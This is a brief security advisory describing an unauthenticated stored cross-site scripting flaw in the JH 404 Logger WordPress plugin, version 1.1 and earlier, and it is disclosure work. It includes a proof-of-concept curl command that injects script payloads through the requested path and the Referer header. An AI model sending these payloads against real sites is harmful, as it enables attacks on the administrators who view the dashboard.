JH 404 Logger <= 1.1 - Unauthenticated Stored Cross-Site Scripting (XSS)
Description
The plugin doesn't sanitise the referer and path of 404 pages, when they are output in the dashboard, which leads to executing arbitrary JavaScript code in the WordPress dashboard.
Proof of Concept
curl 'https://example.com/non-existing-page"><svg/onload=alert(/XSS-url/)>' -e '"><img src onerror=alert(/XSS-referer/)>'
